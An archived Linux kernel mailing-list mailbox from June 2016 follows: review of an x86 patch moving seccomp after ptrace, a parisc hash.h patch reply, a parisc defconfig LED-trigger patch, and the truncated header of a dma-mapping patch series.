Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 06/14] x86/ptrace: run seccomp after ptrace
Date: Thu, 9 Jun 2016 15:52:04 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <CALCETrVk-UauwaRtZZR0fKQO6kyAx-r=ZCurKRdhQk9nA-TqeQ@mail.gmail.com>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org> <1465506124-21866-7-git-send-email-keescook@chromium.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465512763 17809 80.91.229.3 (9 Jun 2016 22:52:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 22:52:43 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	X86 ML <x86@kernel.org>, Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>,
	linux-arch <linux-arch@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Michael Ellerm
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 00:52:31 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB8oN-00033b-3A
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 00:52:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751973AbcFIWw0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 18:52:26 -0400
Original-Received: from mail-oi0-f44.google.com ([209.85.218.44]:33177 "EHLO
	mail-oi0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751860AbcFIWwY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 18:52:24 -0400
Original-Received: by mail-oi0-f44.google.com with SMTP id k23so87146163oih.0
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 15:52:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital-net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=FRLXaTUCXeN7l2F5J/LPJINGA4lDrC+OyG6muXYlBik=;
        b=L155FD68E17xOn1T28U4AydsouGnxLR5KchvnMsdMWyGtr7jXgxLpGGed2FohED/A0
         PA/YUBIsDOVXWpxHf3Dz+wu7ldO+hOE/dTjbXorqryZZDDRHFKqNx6Ibv3xSvoAFWy4Z
         roMdCGceDN/EMH1MUx0j+NFY10k2xtBRXdXvykZSeSJ9UTPNS98uOmZLx1EfMYSASpQX
         Oq8afBhN3Y8PkLY9/wpRHhAXK3JbM60W0VLWRqIuthTdxJlYAIU0eKhXyEN4lQlwCXWZ
         eUpOFxUtM87qG66FSyOzfFkerlb/7u0ttadAoujrn+H+o7sgfe18BY80lpkbqjd4mH7A
         gs1A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=FRLXaTUCXeN7l2F5J/LPJINGA4lDrC+OyG6muXYlBik=;
        b=gR3aCtFtO5vHnFJqr4NnDBh8ZJur/qYEBkC0ttbtIdOPIP8davhZ6PCvpyPpdmzpT5
         55FCGhUMp5hHtwbVRgul9i6L2V5MU7AorTmsFxjuUfi5shqC1gyUvVEnckNajUnD4Pfn
         QOIYD6CkZ6nGrNmKCCxO/qOFLUbdDLm1dmPuPxrdDTsQ12Br2rKhbfzt0yhxrPOYQUZo
         bXmV3xZmeLCf7VJBPog4xXSVK3P8EQknKxWzImOzMZqONZwU1Wh348shvnGoRl3S3QuK
         Ohy+2lS0YeQj2gyT7D0nNWf9MunqaGpceiSgwShc4lG0N2f2ab0XJ+5PwDgKKs3aKVHt
         7Krg==
X-Gm-Message-State: ALyK8tIwj+Y11PWboyALzJ9/QAP5hcrExuZUQPrMxdALamfuG37EUr+OfUUDsTQ5Xr0dQTwExRXao8JQzfFFGfD6
X-Received: by 10.157.20.101 with SMTP id h92mr7437087oth.114.1465512743679;
 Thu, 09 Jun 2016 15:52:23 -0700 (PDT)
Original-Received: by 10.202.199.148 with HTTP; Thu, 9 Jun 2016 15:52:04 -0700 (PDT)
In-Reply-To: <1465506124-21866-7-git-send-email-keescook@chromium.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26872 gmane.linux.kernel:2240365 gmane.linux.kernel.cross-arch:32369 gmane.linux.ports.arm.kernel:505778 gmane.linux.ports.mips.general:55170 gmane.linux.ports.ppc64.devel:128396 gmane.linux.uml.devel:15899
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26872>

On Thu, Jun 9, 2016 at 2:01 PM, Kees Cook <keescook@chromium.org> wrote:
> This moves seccomp after ptrace on x86 to that seccomp can catch changes
> made by ptrace. Emulation should skip the rest of processing too.
>
> We can get rid of test_thread_flag because there's no longer any
> opportunity for seccomp to mess with ptrace state before invoking
> ptrace.
>
> Suggested-by: Andy Lutomirski <luto@kernel.org>
> Signed-off-by: Kees Cook <keescook@chromium.org>
> Cc: x86@kernel.org
> Cc: Andy Lutomirski <luto@kernel.org>
> ---
>  arch/x86/entry/common.c | 22 ++++++++++++----------
>  1 file changed, 12 insertions(+), 10 deletions(-)
>
> diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
> index df56ca394877..81c0e12d831c 100644
> --- a/arch/x86/entry/common.c
> +++ b/arch/x86/entry/common.c
> @@ -73,6 +73,7 @@ static long syscall_trace_enter(struct pt_regs *regs)
>
>         struct thread_info *ti = pt_regs_to_thread_info(regs);
>         unsigned long ret = 0;
> +       bool emulated = false;
>         u32 work;
>
>         if (IS_ENABLED(CONFIG_DEBUG_ENTRY))
> @@ -80,11 +81,19 @@ static long syscall_trace_enter(struct pt_regs *regs)
>
>         work = ACCESS_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY;
>
> +       if (unlikely(work & _TIF_SYSCALL_EMU))
> +               emulated = true;
> +
> +       if ((emulated || (work & _TIF_SYSCALL_TRACE)) &&
> +           tracehook_report_syscall_entry(regs))
> +               return -1L;
> +
> +       if (emulated)
> +               return -1L;
> +

I think that this code will result in ptrace-induced skips calling the
audit exit hook but not the audit entry hook.  I don't know whether
this is a problem.  It's also worth making sure that ptracing a
seccomp-skipped syscall calls the exit hook with the right regs.

I suspect it's fine, but I want to think about it a little bit more.

--Andy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kees Cook <keescook@chromium.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.uml.devel
Subject: Re: [PATCH 06/14] x86/ptrace: run seccomp after ptrace
Date: Thu, 9 Jun 2016 19:01:45 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <CAGXu5jKzOzfzMuOqfVCpgyzXrPrKYC60-AOYQmRVQUiqFpB0JQ@mail.gmail.com>
References: <1465506124-21866-1-git-send-email-keescook@chromium.org>
 <1465506124-21866-7-git-send-email-keescook@chromium.org> <CALCETrVk-UauwaRtZZR0fKQO6kyAx-r=ZCurKRdhQk9nA-TqeQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1465524125 12012 80.91.229.3 (10 Jun 2016 02:02:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 02:02:05 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	X86 ML <x86@kernel.org>, Andy Lutomirski <luto@kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Hogan <james.hogan@imgtec.com>,
	Jeff Dike <jdike@addtoit.com>,
	linux-arch <linux-arch@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Linux MIPS Mailing List <linux-mips@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	"Maciej W. Rozycki" <macro@imgtec.com>,
	Mark Rutland <mark.rutland@arm.com>,
	Martin Sch
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 04:01:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bBBli-0000h5-3q
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 04:01:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751315AbcFJCBu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 22:01:50 -0400
Original-Received: from mail-wm0-f48.google.com ([74.125.82.48]:34930 "EHLO
	mail-wm0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751017AbcFJCBs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 22:01:48 -0400
Original-Received: by mail-wm0-f48.google.com with SMTP id v199so129873741wmv.0
        for <linux-parisc@vger.kernel.org>; Thu, 09 Jun 2016 19:01:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=2XGwTFpJcuY3Dhh09FtyuZgo1OpHiOr99oFxElnFFW8=;
        b=RNh2AHcU6hVYqNcCJHddm28LAfg8EVVdbOQBLfjLqt97OSliCFkbK5tbYGl2v0719z
         08VpnBtjkdGQgvSuegLWp5N+qfhcDPZgBmU1P5cjwzqLPNsS9L2pO5b+ugS9RKcwrD0J
         sRLTMfRsh3DeijGgIvc0uXw1U7/AASED16MQRd9wlh9R74dEal9j0q8BKgLx7uysJi42
         /lqQ/vsMSzKO4hReUCLKfELX+ZSAQy2DXjkAB8kK9emlWXoEJcJ37MnFbhKRNU2D5WE6
         EK/OIupzSJzvos7DcZlYfffCaxmYZRMRX1H+AjAZNc4ts7D6UXMhGv6Z40pNUDdcgwts
         /XZA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=2XGwTFpJcuY3Dhh09FtyuZgo1OpHiOr99oFxElnFFW8=;
        b=YToi/beXOV9xqoTb7XA2OAuQM73WdyqpEHCUdoTQy3w0ClNhoIs/UHl6laOYco0HpT
         G3nXVuF0cL6T0wzmP/hk67OKFBJIsTa6Va7nt/jbhRpauNM0mcdtWiGotxL5gKJNM/Wf
         S8QiC+XCUMDvV/0GtzYWY0XEC1WrOU7Cz0Xg0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=2XGwTFpJcuY3Dhh09FtyuZgo1OpHiOr99oFxElnFFW8=;
        b=Z6gDYnabwC290Oh7SxS1iTAQd5Zz4BMhIj1juhOMG6p2Phkjb+BJ1Gkf4jL2dirZbB
         pzTi9PF4z4y/+pFRhwFJVDkWTmFny6ouB2FBGK0UVAoVKPVgUKrc7WfeVX8rSuVVk7+h
         ztyyix0y+nuAoKk6jljcfdOWWZgeeS/4RtZvaeSM7EocxaksijIxLITQaSz4a4i9ioLV
         3FXW+p8H9TXM0hFSoHGHNm6+j0b+Vi01eirJEbE5O+8k173HXTNyOrLM72cIt/Z8dJMu
         jTV+vGzawUNx1UyF/ysYemnqvBd67zM2ckEowqEGp9MeeLhcSSWnnvkFlg2EJGOMUVP7
         50nQ==
X-Gm-Message-State: ALyK8tJcbMnv45aMiC7x4VRoNUMjPiSfIxgmltfEePwC+PbZKx/mu1Nkyi3j96GeJogGi8hz+HdkrCJi15OBw4qi
X-Received: by 10.194.90.177 with SMTP id bx17mr12042794wjb.107.1465524106305;
 Thu, 09 Jun 2016 19:01:46 -0700 (PDT)
Original-Received: by 10.28.157.83 with HTTP; Thu, 9 Jun 2016 19:01:45 -0700 (PDT)
In-Reply-To: <CALCETrVk-UauwaRtZZR0fKQO6kyAx-r=ZCurKRdhQk9nA-TqeQ@mail.gmail.com>
X-Google-Sender-Auth: yLubv1J4JXVeaYiueAH0oGUWpqU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26873 gmane.linux.kernel:2240424 gmane.linux.kernel.cross-arch:32370 gmane.linux.ports.arm.kernel:505793 gmane.linux.ports.mips.general:55171 gmane.linux.ports.ppc64.devel:128399 gmane.linux.uml.devel:15900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26873>

On Thu, Jun 9, 2016 at 3:52 PM, Andy Lutomirski <luto@amacapital.net> wrote:
> On Thu, Jun 9, 2016 at 2:01 PM, Kees Cook <keescook@chromium.org> wrote:
>> This moves seccomp after ptrace on x86 to that seccomp can catch changes
>> made by ptrace. Emulation should skip the rest of processing too.
>>
>> We can get rid of test_thread_flag because there's no longer any
>> opportunity for seccomp to mess with ptrace state before invoking
>> ptrace.
>>
>> Suggested-by: Andy Lutomirski <luto@kernel.org>
>> Signed-off-by: Kees Cook <keescook@chromium.org>
>> Cc: x86@kernel.org
>> Cc: Andy Lutomirski <luto@kernel.org>
>> ---
>>  arch/x86/entry/common.c | 22 ++++++++++++----------
>>  1 file changed, 12 insertions(+), 10 deletions(-)
>>
>> diff --git a/arch/x86/entry/common.c b/arch/x86/entry/common.c
>> index df56ca394877..81c0e12d831c 100644
>> --- a/arch/x86/entry/common.c
>> +++ b/arch/x86/entry/common.c
>> @@ -73,6 +73,7 @@ static long syscall_trace_enter(struct pt_regs *regs)
>>
>>         struct thread_info *ti = pt_regs_to_thread_info(regs);
>>         unsigned long ret = 0;
>> +       bool emulated = false;
>>         u32 work;
>>
>>         if (IS_ENABLED(CONFIG_DEBUG_ENTRY))
>> @@ -80,11 +81,19 @@ static long syscall_trace_enter(struct pt_regs *regs)
>>
>>         work = ACCESS_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY;
>>
>> +       if (unlikely(work & _TIF_SYSCALL_EMU))
>> +               emulated = true;
>> +
>> +       if ((emulated || (work & _TIF_SYSCALL_TRACE)) &&
>> +           tracehook_report_syscall_entry(regs))
>> +               return -1L;
>> +
>> +       if (emulated)
>> +               return -1L;
>> +
>
> I think that this code will result in ptrace-induced skips calling the
> audit exit hook but not the audit entry hook.  I don't know whether
> this is a problem.  It's also worth making sure that ptracing a
> seccomp-skipped syscall calls the exit hook with the right regs.
>
> I suspect it's fine, but I want to think about it a little bit more.

I don't think this is true, since all architectures already needed to
handle an immediate return from seccomp, so audit shouldn't be touched
on the exit path either.

-Kees

-- 
Kees Cook
Chrome OS & Brillo Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "George Spelvin" <linux@sciencehorizons.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v4] parisc: add <asm/hash.h>
Date: 9 Jun 2016 23:23:18 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20160610032318.32173.qmail@ns.sciencehorizons.net>
References: <5759C957.5090607@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465529010 15350 80.91.229.3 (10 Jun 2016 03:23:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 03:23:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: deller@gmx.de, linux@sciencehorizons.net
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 05:23:24 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bBD2Z-0005sj-EH
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 05:23:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750994AbcFJDXV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 23:23:21 -0400
Original-Received: from ns.sciencehorizons.net ([71.41.210.147]:42637 "HELO
	ns.sciencehorizons.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1750756AbcFJDXV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 23:23:21 -0400
Original-Received: (qmail 32174 invoked by uid 1000); 9 Jun 2016 23:23:18 -0400
In-Reply-To: <5759C957.5090607@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26874
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26874>

Helge Deller wrote:
> Minor issue:
> This line (ARCH_NO_COHERENT) is not yet in Linus' tree.
> I assume you diff'ed against -next or something?
> Maybe you move the "select HAVE_ARCH_HASH" one or two lines up, or
> wait until the other patch went upstream?

No, I'm working against v4.6, and the line is there.
Line 34 of "git show v4.6:arch/parisc/Kconfig".

You pulled my git tree, so you can see what I'm working on top of.

>> +	a += c << 3;		_ASSIGN(b, b << 7+31, "X" (c), "X" (d));
>
> This line produces compiler warnings:

Thanks for catching that.

> So, please add
> Acked-by: Helge Deller <deller@gmx.de>

Done and pushed out to git://ftp.sciencehorizons.net/linux.git hash

Would you like to take it via the PA-RISC tree?  I don't think a
"performance fix" like this is 4.7-rc material (I think it's low-risk,
so I don't object, but I think Linus would) so it has to wait for 4.8
either way.

> THANKS!

You're very welcome.  I really wanted to improve it for *every* platform,
so thank you for your help.  I still haven't heard from the Microblaze
guys.

Getting it down to 10 cycles was a fun micro-optimization challenge.
I'm just annoyed I wasted to much time optimizing for a misunderstanding
of the PA-8800 pipeline.  The large print ("QUAD-ISSUE!") giveth, and
the small print taketh waway.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Linz <linz@li-pro.net>
Newsgroups: gmane.linux.ide,gmane.linux.leds,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v4 6/7] parisc: use the new LED disk activity trigger
Date: Fri, 10 Jun 2016 08:00:01 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20160610060021.12382-6-linz@li-pro.net>
References: <20160610060021.12382-1-linz@li-pro.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465538593 15545 80.91.229.3 (10 Jun 2016 06:03:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 06:03:13 +0000 (UTC)
Cc: Stephan Linz <linz@li-pro.net>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: linux-leds@vger.kernel.org, linux-ide@vger.kernel.org
Original-X-From: linux-ide-owner@vger.kernel.org Fri Jun 10 08:03:02 2016
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1bBFX2-00028U-VL
	for lnx-linux-ide@plane.gmane.org; Fri, 10 Jun 2016 08:03:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932158AbcFJGCf (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Fri, 10 Jun 2016 02:02:35 -0400
Original-Received: from mo4-p00-ob.smtp.rzone.de ([81.169.146.161]:63068 "EHLO
	mo4-p00-ob.smtp.rzone.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752289AbcFJGCd (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Fri, 10 Jun 2016 02:02:33 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; t=1465538550; l=1310;
	s=domk; d=li-pro.net;
	h=References:In-Reply-To:Date:Subject:Cc:To:From;
	bh=B3Wl7un1JzlW5IFaKGwWTSS/Pr7u7zHJBXhPO7sYTZg=;
	b=HnmS563eNfZeBsmamto8namwHhIg2JMl82OUKluLu/BkBELNPh5I6gxozV8jwgiv6Oe
	6TCB4qo65gAubs+nZXy1LV2EKzg4MEwcibY3eUi/yspBVlHGkeENOQDCAhVGXEtPYBKdp
	vJQ4Cm/KQ4yMUB214ftepNhVL3oOo/sSzXU=
X-RZG-AUTH: :IGUKb2CkcrLHmZv+FHarxbxlXmVV62wuQa970vlgN/Vm4aURpaOv9ql7EmfwzQ==
X-RZG-CLASS-ID: mo00
Original-Received: from li-pro.net (p54B1609A.dip0.t-ipconnect.de [84.177.96.154])
	by smtp.strato.de (RZmta 38.2 DYNA|AUTH)
	with ESMTPSA id t07466s5A62EPJS
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-SHA (curve secp521r1 with 521 ECDH bits, eq. 15360 bits RSA))
	(Client did not present a certificate);
	Fri, 10 Jun 2016 08:02:14 +0200 (CEST)
X-Mailer: git-send-email 2.8.4
In-Reply-To: <20160610060021.12382-1-linz@li-pro.net>
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:61838 gmane.linux.leds:5198 gmane.linux.ports.parisc:26875 gmane.linux.kernel:2240491
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/61838>

- platform: rename 'ide-disk' to 'disk-activity'

Signed-off-by: Stephan Linz <linz@li-pro.net>
---
 arch/parisc/configs/generic-32bit_defconfig | 2 +-
 arch/parisc/configs/generic-64bit_defconfig | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
index 5b04d70..8688ba7 100644
--- a/arch/parisc/configs/generic-32bit_defconfig
+++ b/arch/parisc/configs/generic-32bit_defconfig
@@ -214,7 +214,7 @@ CONFIG_NEW_LEDS=y
 CONFIG_LEDS_CLASS=y
 CONFIG_LEDS_TRIGGERS=y
 CONFIG_LEDS_TRIGGER_TIMER=y
-CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_DISK=y
 CONFIG_LEDS_TRIGGER_HEARTBEAT=y
 CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
 CONFIG_DMADEVICES=y
diff --git a/arch/parisc/configs/generic-64bit_defconfig b/arch/parisc/configs/generic-64bit_defconfig
index e945c08..7e07926 100644
--- a/arch/parisc/configs/generic-64bit_defconfig
+++ b/arch/parisc/configs/generic-64bit_defconfig
@@ -231,7 +231,7 @@ CONFIG_LEDS_CLASS=y
 CONFIG_LEDS_TRIGGERS=y
 CONFIG_LEDS_TRIGGER_TIMER=y
 CONFIG_LEDS_TRIGGER_ONESHOT=y
-CONFIG_LEDS_TRIGGER_IDE_DISK=y
+CONFIG_LEDS_TRIGGER_DISK=y
 CONFIG_LEDS_TRIGGER_HEARTBEAT=m
 CONFIG_LEDS_TRIGGER_BACKLIGHT=m
 CONFIG_LEDS_TRIGGER_DEFAULT_ON=m
-- 
2.8.4

--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.msm,gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.ports.arm.rockchip,gmane.linux.drivers.rdma,gmane.linux.kernel.iommu,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.omap
Subject: [PATCH v4 00/44] dma-mapping: Use unsigned long for dma_attrs
Date: Fri, 10 Jun 2016 12:11:17 +0200
Lines: 215
Approved: news@gmane.org
Message-ID: <1465553521-27303-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1465553553 16558 80.91.229.3 (10 Jun 2016 10:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 10:12:33 +0000 (UTC)
Cc: hch@infradead.org, Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	xen-devel@lists.xenproject.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, dri-devel@lists.freedesktop.org,
	linux-samsung-soc@vger.kernel.org,
	linux-mediatek@lists.infradead.org, linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Jun 10 12:12:18 2016
